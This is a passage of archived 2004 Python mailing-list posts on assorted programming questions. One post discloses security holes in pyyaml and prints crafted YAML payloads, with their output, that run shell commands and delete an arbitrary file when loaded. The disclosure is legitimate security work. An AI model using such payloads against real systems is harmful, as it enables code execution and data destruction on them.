chance to (unlikely) figure out what they can do to remedy the situation, otherwise call for help. >Which means? Which means that all this convenient file handling that >Python offers really should not be used in programs you give away. When I >asked for a canonical file access pattern some months ago, this was the >result: >http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D > >Now I have some programs that read and write several files at once. And >the reading and writing is done all over the place. If I really wanted to >do it "right", my once clear and readily understandable code turns into a >nightmare. This doesn't look like the language I love for its clarity and >expressivness any more. Python, being a very high level language, needs a >higher level file type, IMHO. This is, of course, much easier said than >done. And renown dimwits like me aren't expected to come up with solutions. >I've thought about subclassing file, but to me it looks like it wouldn't >help much. With all this try/except framing you need to insert a call >level anyway (wondering if this new decorator stuff might help?). The best >I've come up so far is a vague idea for an error callback (if there isn't >one, the well known exceptions might be raised) that gets called for >whatever error occured, like: > >class File: > ... > def write(self, data): > while True: > try: > self._write(data) > except IOError, e: > if self.errorcallback: > ret, dat = self.errorcallback(self, F_WRITE, e, data) > if ret == F_RETURN: > return dat > else: > raise > >The callback could then write a nice error message, abort the program, >maybe retry the operation (that's what the 'while True'-loop is for) or >return whatever value to the original caller. Although the callback >function will usually be more than a few lines, it can be reused. It can >even be packed into your own file-error-handling module, something the >original usage pattern can't. > > Hmmm....interesting. Shouldn't you put a break after your self._write(data)? This is probably not a bad way of going about things, but what types of files are we talking about here? Log files? I think you're probably better off using the builtin logging and just dump raw tracebacks in there. Data files? Then you've probaby got that wrapped in code to write formatted data to the data file anyway in which case, this type of specialized class is probably not a bad thing. If you're trying to write data to a data file, you don't want litter it with error messages. You want to log it and, maybe even unlink the data file and do something special. >If you still bear with me, you might as well sacrifice a few more seconds >and tell me what you think about my rant. Is everything just fine as it is >now? Or do I have a point? I always felt it most important to handle all >errors a program may encounter gracefully, and the easier this is to do, >the less likely it is a programmer will just sneak around the issue and >let the interpreter/run time system/operating system handle it. (And yes, >I'm guilty of not obeying it myself, as it can double or triple the time >needed to write the whole program; just because its so cumbersome.) > > > I dunno - something just doesn't feel right here. I kinda feel like you're wanting to create an over-generalized solution. Your File class is interesting and may be a good start for a lot of general solutions and having a callback mechanism helps specialize it, but....something just doesn't sit totally right here with me. This may work totally perfectly and may be an excellent piece of code to handle all of your file writing activities. I dunno.... You're not going to be able to catch every exception - not meaningfully, anyway. You could do something like: if __name__ == "__main__": try: main() except Exception, e: log(e) But that isn't handling all errors.... Production quality code doesn't necessarily mean never terminating because of an exception. You want to reduce the frequency of program termination due to exceptions. I can appreciate your desire to make sure you've got good solid software, and not encumber the end user with ever little exception you hit, but sometimes it's OK to log/show exceptions. Like I said earlier, when you hit an exception, you hit it for a reason. Do your best to try to figure out what that reason is, deal with it, figure out the most reasonable thing to do with _that_ exception, and move on. Sometimes that'll mean throwing a traceback to a log file, sometimes it will mean handling it gracefully and "prettying up" the message for logging or display to the end user, sometimes it will mean totally ignoring it, other times you may need to just stop the program. All of these resolutions can be part of a production quality piece of software. The discerning programmer has to decide which solution is appropriate for which situation. Like Steve Holden mentioned, it's really good that you're concerned with such things, but make sure you apply common sense to each scenario. >Waiting-for-you-to-jump-on-me'ly yours, >Hans-Joachim > > Hope I didn't jump too hard. Jeremy Jones From Chris.Barker at noaa.gov Wed Sep 29 15:22:52 2004 From: Chris.Barker at noaa.gov (Christopher Barker) Date: Wed, 29 Sep 2004 12:22:52 -0700 Subject: annoying behavior In-Reply-To: <653b7547.0409281915.5ff0d92e@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <mailman.4029.1096404065.5135.python-list@python.org> <653b7547.0409281915.5ff0d92e@posting.google.com> Message-ID: <cjf409$4ev$1@news.nems.noaa.gov> Patrick Maupin wrote: > But, in Python, instances are "open". This means that I can add > attributes to a class instance at _any_ time Just to make it really clear what Patrick is saying: #!/usr/bin/env python2.3 class foo: def __init__(self, host): self.f() self.r = True def f(self): if self.r: print "r is True" else: print "r is not True" # now I'll add foo.r, before initialization: foo.r = False f = foo("1234") and this runs just fine: junk $ ./junk.py r is not True If you don't want a dynamic language, don't use Python! -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From adalke at mindspring.com Mon Sep 20 02:24:33 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 06:24:33 GMT Subject: PyYaml? In-Reply-To: <uCo3d.4230$4j1.460@trndny06> References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <l3c3d.1327$HH5.1125@trndny05> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> <uCo3d.4230$4j1.460@trndny06> Message-ID: <BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net> [Long post. Summary is I've found three exploits in pyyaml and at least five limitations w.r.t. the existing Python pickles. I DO NOT recommend anyone use pyyaml when the input comes from untrusted code. REPEAT: pyyaml allows ARBITRARY CODE TO BE EXECUTED.] Me: >> Here's a test. Can you do the following in YAML and do >> so securely? (Untested code.) Chris S. wrote: > Conceptually, yes. That code would work fine with a full YAML > implementation. Admittedly, the current pure-Python implementation is > not yet complete. I didn't mean to imply that the current YAML > implementations were drop-in replacements for Pickle, only that the > concept of YAML is deserving of more attention. This original thread started with you asking: > Is there any benefit to Pickle over YAML? You have since distinguished between two YAMLs, the conceptual one and the concrete one. If it's the latter then the answer we've made several times is that YAML as currently implemented is not able to replace pickle. You here agree with us. Let's suppose YAML-the-concept was implemented. That's going to call for a lot of work so that the implementation meets the concept, and well beyond what's been done so far. For example, to be a viable pickle replacement will require a C implementation because the performance is important. The pure Python version "pickle.py" wasn't fast enough so Someone (Jim Fulton, as I recall) contributed cPickle. You'll also need a non-recursive implementation. Here's a test with the pyyaml version I just got from svn using a very deep data structure. It hits Python's recursion limit: >>> x = () >>> for i in range(600): ... x = (x,) ... >>> import yaml >>> import cPickle >>> yaml.dump(x) Traceback (most recent call last): File "<stdin>", line 1, in ? File "yaml/dump.py", line 18, in dump return Dumper().dump(*data) File "yaml/dump.py", line 43, in dump self.dumpDocuments(data) File "yaml/dump.py", line 61, in dumpDocuments self.dumpData(obj) File "yaml/dump.py", line 90, in dumpData ..... self.dumpList(data) File "yaml/dump.py", line 138, in dumpList self.indentDump(item) File "yaml/dump.py", line 67, in indentDump self.dumpData(data) RuntimeError: maximum recursion depth exceeded >>> cPickle.dumps(x) '((((((( ... many characters deleted ...tp331\ntp332\ntp333\n.' >>> It doesn't handle tuples, only lists >>> print yaml.load(yaml.dump( (1,2,3) )).next() [1, 2, 3] >>> I see it doesn't handle Unicode correctly. Here it doesn't round-trip a Unicode character back to Unicode. >>> s = unicode("\xfe", "latin1") >>> s u'\xfe' >>> print s.encode("utf8") # Should be a thorn character ? >>> x= iter(yaml.load(yaml.dump(s))).next() >>> x '\xfe' >>> Digging deeper into the YAML implementation I see it really doesn't handle Unicode correctly -- there's even a *MAJOR* security hole. Watch this. I'll start with a hand-crafted YAML file and read it. % cat test.yaml --- "\u000a"+' '.join(__import__('os').listdir('.')) + "" % python Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import yaml >>> yaml.loadFile("test.yaml") <yaml.load.Parser instance at 0x69a58> >>> _.next() u'\n.svn assets docs examples experimental patches README scripts setup.py test.yaml TESTING yaml' >>> See how it eval'ed the embedded and artibrary Python code in the string it thought was Unicode? That's because the code in implicit.py doesn't fully verify the string before eval'ing it, in if val[0] == '"' and val[-1] == '"': if re.search(r"\u", val): val = "u" + val unescapedStr = eval (val) This code is also suspect, from klass.py def makeClass(module, classname, dict): exec('import %s' % (module)) klass = eval('%s.%s' % (module, classname)) obj = new.instance(klass) if hasMethod(obj, 'from_yaml'): return obj.from_yaml(dict) obj.__dict__ = dict return obj Yep, here's an exploit against it. The chr(32) is needed because there's some sort of split on space upstream so I can't embed spaces directly. But I can construct them so this shows that I can pass arbitrary commands to the shell. (Note: the s= ... assignment is all on one line.) >>> s = """--- !!os;os.system("ls"+chr(32)+"-l"+chr(32)+"/");1.2 {}\n\n""" >>> import yaml >>> yaml.load(s).next() total 326905 drwxrwxr-x 51 root admin 1734 12 Sep 19:16 Applications drwxrwxr-x 21 root admin 714 21 Jun 2003 Applications (Mac OS 9) lrwxr-xr-x 1 root admin 15 17 Feb 2003 Desktop (Mac OS 9) rebuild ... many lines delete ... drwxr-xr-x 12 root wheel 408 12 Sep 2003 usr lrwxr-xr-x 1 root admin 11 14 Feb 2004 var -> private/var Traceback (most recent call last): File "<stdin>", line 1, in ? File "yaml/load.py", line 83, in next return self.parse_value(indicator) File "yaml/load.py", line 168, in parse_value value = self.parse_unaliased_value(value) File "yaml/load.py", line 179, in parse_unaliased_value return self.typeResolver.resolveType(value, url) File "yaml/klass.py", line 12, in resolveType return makeClass(moduleName, className, data) File "yaml/klass.py", line 16, in makeClass klass = eval('%s.%s' % (module, classname)) File "<string>", line 1 os;os.system("ls"+chr(32)+"-l"+chr(32)+"/");1.2 ^ SyntaxError: invalid syntax >>> Note that I was able to generate the os.system call before the SyntaxError. Here's another exploit. It's a variation of the "delete an arbitrary file" example I posted that you replied could be made secure "conceptually". It works because the platform._popen class deletes the temporary file on __del__. [Andrew-Dalkes-Computer:~/cvses/pyyaml/trunk] dalke% cat rmfile.yaml --- !!platform._popen bufsize: ~ mode: r pipe: ~ tmpfile: delete_this_file.txt % ls -l delete_this_file.txt -rw-r--r-- 1 dalke staff 28 19 Sep 23:00 delete_this_file.txt % python Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import yaml >>> yaml.loadFile("rmfile.yaml").next() <platform._popen instance at 0x8b940> >>> ^D % ls -l delete_this_file.txt ls: delete_this_file.txt: No such file or directory % Oh, and I already mentioned that you need support for __slots__. It also looks like pyyaml doesn't support classes derived from builtins, as in >>> class MyList(list): ... def blah(self): print "blah blah" ... >>> x=MyList([1,3,5]) >>> x [1, 3, 5] >>> x.blah() blah blah >>> print yaml.dump(x) --- [1, 3, 5] >>> yaml.load(yaml.dump(x)).next() [1, 3, 5] >>> yaml.load(yaml.dump(x)).next().blah() Traceback (most recent call last): File "<stdin>", line 1, in ? AttributeError: 'list' object has no attribute 'blah' >>> Because YAML the implementation is so far from YAML the concept, and YAML the implementation is at least as insecure as pickle, why should we look at YAML any further? In fact, I wouldn't even use pyyaml now for any of my projects knowing just how insecure it is. > Given that Pickle is insecure, wouldn't it make > more sense to support a secure serialization format, > one that's even readable to boot, such as YAML? Again, please tell me how you can have a "secure serialization format" which prevents my "__del__ calls os.unlink on arbitrary filename" attack. You've said it's possible in the abstract. The only way I know is to register the classes that are safe to deserialize. But pickles already allow that. So how would YAML-the-conceptual be any more secure than pickles as they've existed for years? And how long would it be until YAML-the-implementation hopes to be comparable to pickles for both speed and security? For that matter, why doesn't pyyaml use the existing protocol in Python to ask an instance for how to serialize itself? Why does it need to define a new one? Finally, you said > the concept of YAML is deserving of more attention. What is the concept? Why is it more deserving than, say, XML-RPC encoding, or SOAP's, or CORBA's serialization, or David Mertz' xml_pickle, or Twisted's jelly, or any of a dozen other serializations? - it's not as fast, nor as small as a binary pickle done with cPickle - it doesn't understand tuples vs. lists - it doesn't have the buzz of XML (and XML advocates also claim readability) - it doesn't have jelly's upversioning support (when I looked at it, Twisted allowed classes to describe how to upgrade older pickles to conform with changes in the class) - it doesn't have the validation tools that CORBA has to ensure that received data fields are at least the correct types Some are limitations of the implementation, but the bar is pretty high so it's up to the advocates (and of the years YAML's been about you're the first I've seen) to prove it's deserving. Andrew dalke at dalkescientific.com From nemesis at nowhere.invalid Wed Sep 8 14:40:09 2004 From: nemesis at nowhere.invalid (Nemesis) Date: Wed, 08 Sep 2004 18:40:09 GMT Subject: open default MUA with a hyper link References: <chalvm$1944$1@biggoron.nerim.net> <mailman.2850.1094246310.5135.python-list@python.org> <chh9lt$imf$1@e3k.asi.ansaldo.it> <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> <chhjg9$dqc$1@e3k.asi.ansaldo.it> <1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com> <chjl7n$lv2$1@e3k.asi.ansaldo.it> <1gjqq26.1ls8gov4pbu4fN%aleaxit@yahoo.com> Message-ID: <tugnhc.ab2.ln@orion.homeinvalid> Mentre io pensavo ad una intro simpatica "Alex Martelli" scriveva: >> > Your choice is then to either upgrade to a better browser (IE has been >> > stagnant in features for years, resting on its laurels) or to drive IE >> > more intimately and "proprietarily" -- with win32com you can probably >> > make it turn somersaults, although your hair will whiten considerably >> > while you learn how to do so. >> Actually I use Firebird ;-) > Nice database engine, but not much of a browser. Maybe you mean > Firefox;-? You are right, but once Firefox was called Firebird, and before that it was called Phoenix :-) >> I'm studying this syntax in order to implement it in XPN, the newsreader >> I'm writing. I'd like to use it when the article has a >> "Followup-To: poster". >> So I need a simple and multiplatform solution. >> However I found that I can use an encoded form of the newline (%0A) that >> works with IE (I haven't tried yet with different browsers).I think I'll >> use the urllib.quote function in order to obtain this coding. > Sounds sensible, offhand. I changed my mind of course :-D Now I'm working to implement a simple mail support in XPN using smptlib. :-) -- Tutti possono vincere, sempreche' non esista un secondo posto. |\ | |HomePage : http://nem01.altervista.org | \|emesis |XPN (my nr): http://xpn.altervista.org From peter at engcorp.com Tue Sep 7 22:08:21 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 Sep 2004 22:08:21 -0400 Subject: In search of idiom in py2exe In-Reply-To: <dqosj0hd4lav7v6s2gr6achvg3ig476chk@4ax.com> References: <dqosj0hd4lav7v6s2gr6achvg3ig476chk@4ax.com> Message-ID: <UpydnTXqFoaH9KPcRVn-iQ@powergate.ca> David wrote: > In many of my scripts I've used the following idiom for accessing data > files placed nearby: ... > Can anyone recommend an idiom that will work with py2exe? Do the last few posts to the following thread help you? It was an attempt to find "the" idiomatic way to find the directory of the main script, whether running normally or with py2exe. http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com -Peter From nem at nowhere.invalid Mon Sep 6 08:00:09 2004 From: nem at nowhere.invalid (Nemesis) Date: 6 Sep 2004 12:00:09 GMT Subject: open default MUA with a hyper link References: <chalvm$1944$1@biggoron.nerim.net> <mailman.2850.1094246310.5135.python-list@python.org> <chh9lt$imf$1@e3k.asi.ansaldo.it> <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> Message-ID: <chhjg9$dqc$1@e3k.asi.ansaldo.it> "Alex Martelli" wrote: [mailto trick] >> How can I use this syntax in order to specify also the body of the >> mail? > Study the mailto: syntax on any HTML reference, e.g. > http://docs.intellifuzz.com/readmore.php?p=39 Thank you for the link. I tried that syntax, but it seems that Internet Explorer doesn't support multiline bodies :-/ -- XPN :: http://xpn.altervista.org From peter at engcorp.com Fri Sep 24 09:13:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 09:13:51 -0400 Subject: Python GUI, which one? In-Reply-To: <mailman.3841.1096027498.5135.python-list@python.org> References: <mailman.3841.1096027498.5135.python-list@python.org> Message-ID: <Y5OdnbGC-vMNgMncRVn-iQ@powergate.ca> Sells, Fred wrote: > I see there are several different choices for Python GUI API's. > > Is there any indication of which ones are > 1. the most commonly used? > 2. the most reliable? > 3. the most robust? Yes, and not only will Googling the list archives using Google Groups give you lots of answers to similar questions, but in addition using Google for the web will bring up dozens of useful web pages answering just those sorts of questions. It would also help, if you want custom answers, to explain what you mean by reliable and robust. I know what *I* mean by them, but you're not me... ;-) -Peter From simoninusa2001 at yahoo.co.uk Wed Sep 1 14:23:08 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 1 Sep 2004 11:23:08 -0700 Subject: XML documentation stinks - help? In-Reply-To: <CeqdnQhQIouqkqvcRVn-pg@speakeasy.net> Message-ID: <ch542c$sdj@odah37.prod.google.com> Ah, I've got it now, I've basically managed to duplicate the way the event-based XML::Parser Perl module works - you don't need to know the tags and it builds a hash/dictionary (excuse Google removing the formatting): from xml.sax import ContentHandler, parseString xmlsource = """<session_service> <session_id>abcdefg123456</session_id> <start_date>7/2/1978</start_date> <end_date>7/2/2004</end_date> <username>joe_bloggs</username> <admin_flag>1</admin_flag> </session_service> """ # create dictionary for results global xml_data xml_data = {} class docHandler(ContentHandler): """overload contenthandler""" def startElement(self, tag, attrs): # start handler self.tag = tag def characters(self, chars): # char handler - ignore whitespace if chars.strip() != "": xml_data[self.tag] = chars # create instance of handler class handler = docHandler() # parse the xml parseString(xmlsource, handler) # loop through dictionary outputting results for name, value in xml_data.iteritems(): print name, ":", value From pink at odahoda.de Sun Sep 5 08:37:31 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Sun, 05 Sep 2004 14:37:31 +0200 Subject: Tuple question In-Reply-To: <roy-FE1D07.08200705092004@reader1.panix.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> <donn-8ED685.11274102092004@gnus01.u.washington.edu> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <roy-FE1D07.08200705092004@reader1.panix.com> Message-ID: <chf1e4$u84$03$1@news.t-online.com> Roy Smith wrote: > "Donn Cave" <donn at drizzle.com> wrote: > >>I expect it's used relatively infrequently, and for different >>reasons. "if len(info) == 5", for example - just from that >>line from a relatively popular Python application, would you >>guess info is a list, or a tuple? > > > I'd guess it was something which had a __len__ method. > > >>Maybe the problem is that tuples have too many features already. >>It's sort of silly that they're indexed by number, and if that >>weren't allowed, we would find fewer people trying to make lists >>of them. > > > If tuples weren't indexed, the only way you'd be able to access the > elements would be to unpack them, which would be rather inconvenient. > Unless of course you had an alternate way to name the elements, but if > you're going to allow named element access, and forbid indexed access, > then you might as well just create a normal class instance. > > The more I look into this, the more I realize just how inconsistent the > whole thing is. > > For example, tuples can be used as dictionary keys because they are > immutable. Or so it's commonly said. But, that's not true. The real > reason they can be used as keys is because they're hashable. If you try > to use a list as a key, it doesn't complain that it's immutable, it > complains that it's unhashable: > > >>>>d = {} >>>>d[[1, 2]] = 3 > > Traceback (most recent call last): > File "<stdin>", line 1, in ? > TypeError: list objects are unhashable > > Furthermore, regular objects can be used as keys, even though they *are* > mutable. You can do this: > > class data: > pass > > key = data () > key.x = 1 > key.y = 2 > > d = {} > d[key] = None > > dictKey = d.keys()[0] > print dictKey.x, dictKey.y > > key.x = 42 > dictKey = d.keys()[0] > print dictKey.x, dictKey.y > > If a mutable class instance object can be used as a dictionary key, then > I don't really see any reason a list shouldn't be usable as a key. How > is a class instance's mutability any less of disqualifier for key-ness > than a list's mutability? > > And, once you allow lists to be keys, then pretty much the whole raison > d'etre for tuples goes away. And if we didn't have tuples, then we > wouldn't have to worry about silly syntax warts like t = (1,) to make a > 1-tuple :-) A very handy feature of lists is: a = [1, 2, 3] b = [1, 2, 3] if a == b: print "List equality is based on content" while: a = data() a.x = 42 b = date() b.x = 42 if a != b: print "Other objects have an identity that is independent of\ content" This special behaviour of lists is implemented by implementing the __eq__ method. Objects with non-standard __eq__ usually don't have the expected behaviour when used as keys: a = [1, 2, 3] b = [1, 2, 4] d = {} d[a] = "first" d[b] = "second" a[2] = 4 b[2] = 3 print d[[1, 2, 3]] Which result would you expect here? From stanb45 at dial.pipex.com Sat Sep 4 04:23:17 2004 From: stanb45 at dial.pipex.com (Stan Barr) Date: 04 Sep 2004 08:23:17 GMT Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <uoeknqbo0.fsf@mail.comcast.net> <opsdrujag8pqzri1@mjolner.upc.no> <uhdqfq7yv.fsf@mail.comcast.net> <VD7_c.286674$eM2.270304@attbi_s51> Message-ID: <slrncjiukd.9mi.stanb45@citadel.metropolis.local> On Sat, 04 Sep 2004 00:04:05 GMT, Larry Elmore <ljelmore_ at _comcast_._net> wrote: >No, but some Liberty ships built in WWII, welded together from pre-fab >sections, literally broke in half when the welds failed (IIRC, in very >cold water like the Barents sea). Yep, the welding changed the structure of the steel and an unfortunately placed hatch coaming created a high stress point. The cold made the weld brittle and it cracked. >The problem was fixed by welding large >reinforcing "patches" on either side of the weak point in the hull. That was a temporary solution, they later designed a re-inforced hatch setup IIRC. The ship was basically an 1880s British design not originally intended to be welded up out of pre-fabricated bits :-) -- Cheers, Stan Barr stanb .at. dial .dot. pipex .dot. com (Remove any digits from the addresses when mailing me.) The future was never like this! From winexpert at hotmail.com Thu Sep 23 12:22:08 2004 From: winexpert at hotmail.com (David Stockwell) Date: Thu, 23 Sep 2004 16:22:08 +0000 Subject: incrementing a time tuple by one day Message-ID: <BAY2-F3322ZhCl8aii00001a88c@hotmail.com> I'm sure this has been asked before, but I wasn't able to find it. First off I know u can't change a tuple but if I wanted to increment a time tuple by one day what is the standard method to do that? I've tried the obvious things and haven't gotten very far. I have a time tuple that was created like this: aDate = '19920228' x = time.strptime(aDate,"%Y%m%d") print x (1992, 2, 28, 0, 0, 0, 4, 59, -1) y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) print y 1643277600.0 print time.ctime(y) 'Thu Jan 27 05:00:00 2022' It appears to have decremented by a day and a month instead of increment. What am I doing wrong? Thanks David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html _________________________________________________________________ Check out Election 2004 for up-to-date election news, plus voter tools and more! http://special.msn.com/msn/election2004.armx From valinor at linuxmail.org Tue Sep 14 08:31:42 2004 From: valinor at linuxmail.org (foten) Date: 14 Sep 2004 05:31:42 -0700 Subject: IMAP - get size of mailboxes References: <cf4db78a.0409100420.58efa003@posting.google.com> <cf4db78a.0409130707.6b1a801a@posting.google.com> <mailman.3239.1095092116.5135.python-list@python.org> Message-ID: <cf4db78a.0409140431.41e47164@posting.google.com> Jeff Epler <jepler at unpythonic.net> wrote in message news:<mailman.3239.1095092116.5135.python-list at python.org>... > I played with imaplib a bit, and I think you want to use something like > # Find the first and last messages > m = [int(x) for x in msg[0].split()] > m.sort() > message set = "%d:%d" % (m[0], m[-1]) > > # Get the RFC822.SIZE for each message > result, sizes response = M.fetch(message set, "(UID RFC822.SIZE)") > .. and parse sizes response which looks like this: > >>> for i in range(10): print sizes response[i] > ... > 1 (UID 1 RFC822.SIZE 889) > 2 (UID 3 RFC822.SIZE 3386) > 3 (UID 4 RFC822.SIZE 2629) > 4 (UID 5 RFC822.SIZE 989) > 5 (UID 6 RFC822.SIZE 1566) > 6 (UID 7 RFC822.SIZE 1591) > 7 (UID 8 RFC822.SIZE 1894) > 8 (UID 9 RFC822.SIZE 1546) > 9 (UID 10 RFC822.SIZE 1372) > 10 (UID 11 RFC822.SIZE 917) > > Jeff > > -- Thanx for your help! I think I have it working now. The speed is not bad at all. //Fredrik import sys, os, string, imaplib, getpass imap_server = "myserver.com" # Open a connection to the IMAP server M = imaplib.IMAP4(imap_server) M.login(getpass.getuser(), getpass.getpass()) # The list of all folders result,list = M.list() print "%-30s%5s%10s\n" % ("Folder", "# Msg", "Size") number_of_messages_all = 0 size_all = 0 for item in list[:]: x = item.split() mailbox = string.join(x[2:]) # Select the desired folder result, number_of_messages = M.select(mailbox, readonly=1) number_of_messages_all += int(number_of_messages[0]) size_folder = 0 # Go through all the messages in the selected folder typ, msg = M.search(None, 'ALL') # Find the first and last messages m = [int(x) for x in msg[0].split()] m.sort() if m: message_set = "%d:%d" % (m[0], m[-1]) result, sizes_response = M.fetch(message_set, "(UID RFC822.SIZE)") for i in range(m[-1]): tmp = sizes_response[i].split() size_folder += int(tmp[-1].replace(')', '')) else: size_folder = 0 print "%-30s%5d%10s" % (mailbox, int(number_of_messages[0]), size_folder); size_all += size_folder print "\n%-30s%5i%10.3f MB\n" % ("Sum", number_of_messages_all, size_all/1e6) # Close the connection M.logout() Result: Folder # Msg Size Outbox 0 0 Journal 0 0 Drafts 10 54245 Notes 20 13265 PocketMirror 1 500 "Sent Items" 342 7054846 ... Sum 3115 43.341 MB From hat at se-126.se.wtb.tue.nl Tue Sep 28 06:33:31 2004 From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp) Date: Tue, 28 Sep 2004 10:33:31 +0000 (UTC) Subject: Trouble with popen2 References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> <RLZ5d.7$Za.3@llslave.llan.ll.mit.edu> <0RZ5d.8$Za.5@llslave.llan.ll.mit.edu> Message-ID: <slrncliffq.j1m.hat@se-126.se.wtb.tue.nl> On Mon, 27 Sep 2004 15:27:56 -0400, Rembrandt Q Einstein <hercules.rockefeller at springfield.??.us> wrote: >> The challenge is to write a program that will run this one in a >> subprocess and read all of both stderr and stdout. > > Ah--despite my new nick, I am an idiot. I should just use select() on > fromchild and childerr. Something like this: > > while f.poll() == -1: > select([], [f.fromchild, f.childerr],[], 0) > blah > > However, I think I might still miss some data this way. Nope, this should work, assuming that you catch the output of select, and act accordingly. (at least, that is my experience) Not sure why you need the f.poll() though, I think you can do without. Maybe an extension to the documentation of popen would be in order, this post pops up quite often here. -- Albert -- Unlike popular belief, the .doc format is not an open publically available format. From mefjr75 at hotmail.com Sun Sep 12 10:25:10 2004 From: mefjr75 at hotmail.com (M.E.Farmer) Date: 12 Sep 2004 07:25:10 -0700 Subject: 'telegraphy' as a means of data entry References: <QOK0d.394968$gE.276141@pd7tw3no> <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> <llT0d.382584$M95.334812@pd7tw1no> Message-ID: <18282ecb.0409120625.21829f3e@posting.google.com> > Just when the window is active. On windows use msvcrt module and on unix curses should do it. They both have a getch() function. http://effbot.org/zone/librarybook/platform-specific-modules.pdf HTH, M.E.Farmer From peter at engcorp.com Sat Sep 25 00:58:38 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 Sep 2004 00:58:38 -0400 Subject: XSLT and client cache In-Reply-To: <4c900ea0.0409242018.2a4f38@posting.google.com> References: <4c900ea0.0409232256.5a90ea09@posting.google.com> <pbadnZTDHOjUYs7cRVn-jg@powergate.ca> <4c900ea0.0409242018.2a4f38@posting.google.com> Message-ID: <g_GdnVReza2fZsncRVn-sg@powergate.ca> john wrote: > But how can I determine whether the XSLT document is already present > in client cache?? You cannot. Have you read about how caches function? The best you can hope to do is to ask the client to reload the document, either by marking it as non-cachable or by indicating that it has changed since the last time the browser tried to load it, using the last-changed header. And even then, the browser is free not to reload it again if it doesn't want. Heck, a user can configure the browser not even to *check* whether the file should be reloaded, in some cases. What are you trying to do that you think you need to know whether a client cache contains a document? -Peter From jarrodhroberson at yahoo.com Sat Sep 18 17:51:18 2004 From: jarrodhroberson at yahoo.com (Y2KYZFR1) Date: 18 Sep 2004 14:51:18 -0700 Subject: Using Twisted Perspective Broker with Flash ( with PB as an XML Socker Server ) Message-ID: <c718a6cf.0409181351.348ccf@posting.google.com> it looks like this is completely possible, but I just can't find enough examples to put the pieces together.; there is a jellyToXML that should serialize objects to regular XML it looks like, anyone have any thoughts on where to start, I would really hate to recreate all the PB functionality if I don't have to. From daniel at syrinx.net Wed Sep 8 12:46:57 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Wed, 08 Sep 2004 12:46:57 -0400 Subject: Question: tools for business apps development In-Reply-To: <mailman.3036.1094653937.5135.python-list@python.org> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> <2q5vvrFrq42gU2@uni-berlin.de> <mailman.3036.1094653937.5135.python-list@python.org> Message-ID: <2q8r7kFrjp1cU1@uni-berlin.de> Ksenia Marasanova wrote: > > Good to hear that :) > I was thinking about that 'very smart client'... actually, I want the > Flash client to be 'as dumb as possible' :) In the terms of > Model-View-Controller, wouldn't it be even better to have only 'View' in > Flash? The 'Controller' can then be on the server, in Python, > comunicating with Flash client in...XUL? ;-) It will be basically the > same as generating HTML for the browser... but with richer widgets. > > Googled from curiosity: > http://zulu.netspedition.com/zulu/main/overview.shtml > > Hmm... > > Ksenia. > Yes, that would be best. All business logic would be on the server, and anything "visual" would be handled by Flash, which would make XML-RPC method invocations to update on-screen data according to user actions. This should be pretty easy if one follows MVC properly. There are plenty of free (and plenty of inexpensive commercial) Flash widget sets available to make the UI creation easier. The latest incarnation of Flash also supports SOAP, if that's your bent. And I mean bent! :) Dan From elainejackson7355 at home.com Sun Sep 12 03:59:13 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Sun, 12 Sep 2004 07:59:13 